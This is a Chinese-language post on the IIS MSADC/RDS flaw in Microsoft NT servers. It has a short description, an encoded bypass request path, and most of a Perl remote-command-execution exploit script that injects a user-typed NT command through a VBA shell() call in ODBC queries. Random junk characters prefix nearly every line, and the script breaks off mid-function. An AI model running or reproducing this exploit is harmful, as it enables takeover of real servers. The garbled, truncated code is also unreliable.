IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
79}Qj7 6B@{X^6y 涉及程序:
K!;>/3Y2- Microsoft NT server
`.YMbj#T e@L?jBj8m 描述:
yOE N*^6 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GtkZ%<KF9 J#Agk^Y 5 详细:
s`o_ER 如果你没有时间读详细内容的话,就删除:
uEdeA'*^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
-}P/<cu: 有关的安全问题就没有了。
m ?jF:]^ 'Ug-64f> 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
y5N,~@$r +6\1
d5 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Te@=8-u- 关于利用ODBC远程漏洞的描述,请参看:
)Q c>NF0 9FmX^t$T http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b0[H{q-z{X ThYHVJ[; 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Fr]B]Hj http://www.microsoft.com/security/bulletins/MS99-025faq.asp G$CI~0Se: pLsJa?}R 这里不再论述。
6" |+\ i`EG80\[Z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ui1h M T<~?7-O" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-+&sPrQ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
~k/GmH Uf<IXx&; K6e_RzP,.w #将下面这段保存为txt文件,然后: "perl -x 文件名"
|gM@}!DL @ \JoICz #!perl
K5:> #
~\[\S!" # MSADC/RDS 'usage' (aka exploit) script
Un{ 9reX5 #
_sC
kBDl- # by rain.forest.puppy
17@#"uT0 #
rWxQ;bb# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5Jm%*Wb # beta test and find errors!
w$[ck= ys Td'J use Socket; use Getopt::Std;
jt4c*0z getopts("e:vd:h:XR", \%args);
V"Y-|R (xlAS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L(\o66a-rV GB`
G(a if (!defined $args{h} && !defined $args{R}) {
nZ~J&QK- print qq~
_J-3{a Usage: msadc.pl -h <host> { -d <delay> -X -v }
wd0 *"c@ -h <host> = host you want to scan (ip or domain)
S$1dXXT -d <seconds> = delay between calls, default 1 second
v= "2p8@F -X = dump Index Server path table, if available
Nk&$b -v = verbose
w[?E
oFI$Y -e = external dictionary file for step 5
Q*l_QnfG ad'C&^o5 Or a -R will resume a command session
wEMg~Hh ylBjuD+ ~; exit;}
j;_
>,\ Y+e a $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XonI if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H?W8_XiN if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!%Qm{R if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_S;Fs|p_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Fun+L@:; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
M3/_E7Qoj sU 5/c|& if (!defined $args{R}){ $ret = &has_msadc;
>Sua:Uff die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KI~M.2pk KiO1l{.s8n print "Please type the NT commandline you want to run (cmd /c assumed):\n"
WwYy[3U . "cmd /c ";
.Pi8c[ $in=<STDIN>; chomp $in;
)TV{n#n $command="cmd /c " . $in ;
L>1i~c&V Gtpl5g QH if (defined $args{R}) {&load; exit;}
=}7[ypQM`] QeZK&^W print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2/ v9 &try_btcustmr;
6
s1lf! K`#bLCXEV0 print "\nStep 2: Trying to make our own DSN...";
y7WO:X& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
s6| S#
d-sK{ZC"y print "\nStep 3: Trying known DSNs...";
^i!6q9<{e &known_dsn;
%^ z##7^ %`1p 8>n print "\nStep 4: Trying known .mdbs...";
gS$?#!f &known_mdb;
w5tcO%+k1 >V1v.JH if (defined $args{e}){
7.N~e}p8 print "\nStep 5: Trying dictionary of DSN names...";
X23#y7: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
,2?S ua/LD C!Oz'~l print "Sorry Charley...maybe next time?\n";
c1L0#L/F6" exit;
mcFJ__3MAV z),@YJU"z ##############################################################################
}4A $j{\ l'0fRQc sub sendraw { # ripped and modded from whisker
d iG kwKj sleep($delay); # it's a DoS on the server! At least on mine...
`rLy7\@; my ($pstr)=@_;
`;vJ\$-< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xpjv@P die("Socket problems\n");
C}>Pn{wY9 if(connect(S,pack "SnA4x8",2,80,$target)){
lZ![?t}2` select(S); $|=1;
yE4X6 print $pstr; my @in=<S>;
M8HHyV[AmC select(STDOUT); close(S);
O${B)C, return @in;
+#a_Y } else { die("Can't connect...\n"); }}
f7_EqS=( 6)_svtg ##############################################################################
./#F,^F2 K~DQUmU@ sub make_header { # make the HTTP request
0l&#%wmJ, my $msadc=<<EOT
9C_Vb39::$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M~jV"OF= User-Agent: ACTIVEDATA
+P5\N,,7R Host: $ip
WMw^zq?hd@ Content-Length: $clen
y(w&6: Connection: Keep-Alive
Hk8pKpn3 U&}v1wdZ3 ADCClientVersion:01.06
8+yCP_Y4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
lk?@ =U~ y/(60H,{{ --!ADM!ROX!YOUR!WORLD!
?7]UbtW[ Content-Type: application/x-varg
ft"t Content-Length: $reqlen
8'}D/4MUr (m3
<) EOT
@j/|U04_Z ; $msadc=~s/\n/\r\n/g;
#o/ return $msadc;}
3{*nG'@Mal p|f5w"QcH ##############################################################################
e!hy,O{Pw b|'{f? sub make_req { # make the RDS request
rOyKugHe my ($switch, $p1, $p2)=@_;
~As/cd>9 my $req=""; my $t1, $t2, $query, $dsn;
$9%UAqk9 )GC9%mF; if ($switch==1){ # this is the btcustmr.mdb query
fDU_eyt/Z' $query="Select * from Customers where City=" . make_shell();
) ]
C"r_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{I:nza $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3 J!J# a2!;$B% elsif ($switch==2){ # this is general make table query
nA)KRCi $query="create table AZZ (B int, C varchar(10))";
&4R-5i2a $dsn="$p1";}
$YztLcn 1@"os[9 elsif ($switch==3){ # this is general exploit table query
!x@3U^${ $query="select * from AZZ where C=" . make_shell();
abgAUg) $dsn="$p1";}
t 8,VR FV &hco3HfW elsif ($switch==4){ # attempt to hork file info from index server
=(cfo_B@K $query="select path from scope()";
Ak'=/`+ p $dsn="Provider=MSIDXS;";}
#x|IEjoa u P&< elsif ($switch==5){ # bad query
Fd(o8z8Q $query="select";
5xIOi(3`Q $dsn="$p1";}
YM<F7tp4 Gj ka % $t1= make_unicode($query);
MLk%U 4 $t2= make_unicode($dsn);
>5c38D7k) $req = "\x02\x00\x03\x00";
k0^t$J
W $req.= "\x08\x00" . pack ("S1", length($t1));
X7Z=@d( $req.= "\x00\x00" . $t1 ;
IQNvhl.{ $req.= "\x08\x00" . pack ("S1", length($t2));
,GTIpPj $req.= "\x00\x00" . $t2 ;
! a!^'2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*Al`QEW return $req;}
*\"+/ ul!e!^qwx ##############################################################################
..a@9#D |Zm'! -_ sub make_shell { # this makes the shell() statement
55K(]%t return "'|shell(\"$command\")|'";}
z5q( [MI ? ##############################################################################
|:b!e 7:$zSj#y sub make_unicode { # quick little function to convert to unicode
U%u%_{- my ($in)=@_; my $out;
2}xvM"k=k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^"!)p2= return $out;}
Dxp.b$0t -hpC8YS ##############################################################################
A=bBI>GEYP sB+
B,DF sub rdo_success { # checks for RDO return success (this is kludge)
:vo#( my (@in) = @_; my $base=content_start(@in);
xI(t!aYp if($in[$base]=~/multipart\/mixed/){
ee\xj$, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
t^5xq8w8 return 0;}
gt|:K)[,6 \l71Q/y6u` ##############################################################################
]3&BLq "R
%3v.Z sub make_dsn { # this makes a DSN for us
%z"${ zw my @drives=("c","d","e","f");
Uf\,U8U B print "\nMaking DSN: ";
&{zRuF foreach $drive (@drives) {
7I;A5f print "$drive: ";
JS#AoPWA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@0&KM|+ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
>^TcO . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i=AQ1X\s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=PAsyj return 0 if $2 eq "404"; # not found/doesn't exist
[iGL~RiXtn if($2 eq "200") {
pZV=Co3!I foreach $line (@results) {
L7OFZ|gUz return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8/BWe
;4 } return 0;}
y\@INA^ +LB2V3UZ ##############################################################################
zn2Qp cVuT|b^ sub verify_exists {
{2=f,,|+f my ($page)=@_;
5Zy%Nam'gN my @results=sendraw("GET $page HTTP/1.0\n\n");
'wd&O03& return $results[0];}
Un^3%=; HtAO9 ##############################################################################
bD4aSubN 2kW*Z7@D sub try_btcustmr {
H}PZJf_E my @drives=("c","d","e","f");
;Yu|LaI\<m my @dirs=("winnt","winnt35","winnt351","win","windows");
eiJ~1HX) 1^AG/w foreach $dir (@dirs) {
YF68Ax] print "$dir -> "; # fun status so you can see progress
RZbiiMC> foreach $drive (@drives) {
#iVr @|, print "$drive: "; # ditto
|?<^4U8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.~7:o.BE`n $reqlenlen=length( "$reqlen" );
{N'<_%cu $clen= 206 + $reqlenlen + $reqlen;
0+ 3{fD/ ?G<.W[3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:]uz0s`> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\Y^GA;AMQQ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
++Fv )KY@ e!oL!Zg ##############################################################################
YES-,;ZQ' Yx':~ sub odbc_error {
+~\ 1g^h my (@in)=@_; my $base;
3e ?J#; my $base = content_start(@in);
}II)<g' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
l
dw!G/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O\q-Ai $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@BoZZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$5N\sdyZxg return $in[$base+4].$in[$base+5].$in[$base+6];}
Kdr}7#c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
z6uHe{| print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M@<r8M]G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
BNq6dz$ J {4YD_$4W ##############################################################################
<8YIQA >gf,8flgj sub verbose {
0s.X my ($in)=@_;
I/)*pzt8 return if !$verbose;
FJ{6_=@D print STDOUT "\n$in\n";}
I]6,hygs 4GG0jCNk ##############################################################################
mu$rG3M j5MUP&/g3 sub save {
}S 6h1X my ($p1, $p2, $p3, $p4)=@_;
v{pW/Fu~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H?wf%0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
CG]/. close OUT;}
2U&+K2 _3zJ.% ##############################################################################
dfWtLY BY>]6SrP sub load {
5`Y>!|
Ab my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j026CVL open(IN,"<rds.save") || die("Couldn't open rds.save\n");
x{9$4d @p=<IN>; close(IN);
,*Wp$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
V>& 1;n $target= inet_aton($ip) || die("inet_aton problems");
9v?rNJs print "Resuming to $ip ...";
b]g#mQ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
&/8B(0< if($p[1]==1) {
JQ9+kZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
TFDzTD $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w}0rDWuR[ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F0ylJ
/E if (rdo_success(@results)){print "Success!\n";}
*r|Zbxf( else { print "failed\n"; verbose(odbc_error(@results));}}
=}'7}0M_= elsif ($p[1]==3){
_*-b0 }T if(run_query("$p[3]")){
Zx^R -9 print "Success!\n";} else { print "failed\n"; }}
(o4':/es elsif ($p[1]==4){
=55V<VI if(run_query($drvst . "$p[3]")){
}fL
] }& print "Success!\n"; } else { print "failed\n"; }}
G6p R?K+ exit;}
iz3Hoj ";TqYk=- ##############################################################################
1pP q)}=+ ?KG4Z sub create_table {
6\USeZh my ($in)=@_;
B/dJj# $reqlen=length( make_req(2,$in,"") ) - 28;
y(X^wC $reqlenlen=length( "$reqlen" );
)!=fy'] $clen= 206 + $reqlenlen + $reqlen;
zQoJ8i> my @results=sendraw(make_header() . make_req(2,$in,""));
;i!$rL return 1 if rdo_success(@results);
y=zs6HaS my $temp= odbc_error(@results); verbose($temp);
<SiJA`(7 return 1 if $temp=~/Table 'AZZ' already exists/;
2]V8- return 0;}
p~OX1RBI \qJ cs'D ##############################################################################
s){R/2O3F qRXHaQi@9 sub known_dsn {
K0\`0E^, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|8fdhqy_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g ,yB^^% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>nO[5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
]L?WC I5E+=.T*ar foreach $dSn (@dsns) {
WS"v"J% print ".";
tG[v@-O next if (!is_access("DSN=$dSn"));
Ct]? / if(create_table("DSN=$dSn")){
7-mo\jw< print "$dSn successful\n";
;}'Z2gZB if(run_query("DSN=$dSn")){
;ZTh(_7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:3D[~-/S print "Something's borked. Use verbose next time\n";}}} print "\n";}
w:2yFC B-V ##############################################################################
Mo\nY5 J]|S0JC` sub is_access {
kfq<M7y my ($in)=@_;
o<rbC <
U $reqlen=length( make_req(5,$in,"") ) - 28;
NN~PWy1opa $reqlenlen=length( "$reqlen" );
zLg_0r*h1 $clen= 206 + $reqlenlen + $reqlen;
mxICQ>s
b my @results=sendraw(make_header() . make_req(5,$in,""));
~zDFL15w my $temp= odbc_error(@results);
a>S-50 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
%:y"o_X_ return 0;}
A+VzpJ~ Kr%`L/% ##############################################################################
n6{nx[%7N7 /Q'O]h0a sub run_query {
(Kj>Ao my ($in)=@_;
,.V=y% $reqlen=length( make_req(3,$in,"") ) - 28;
p7[&H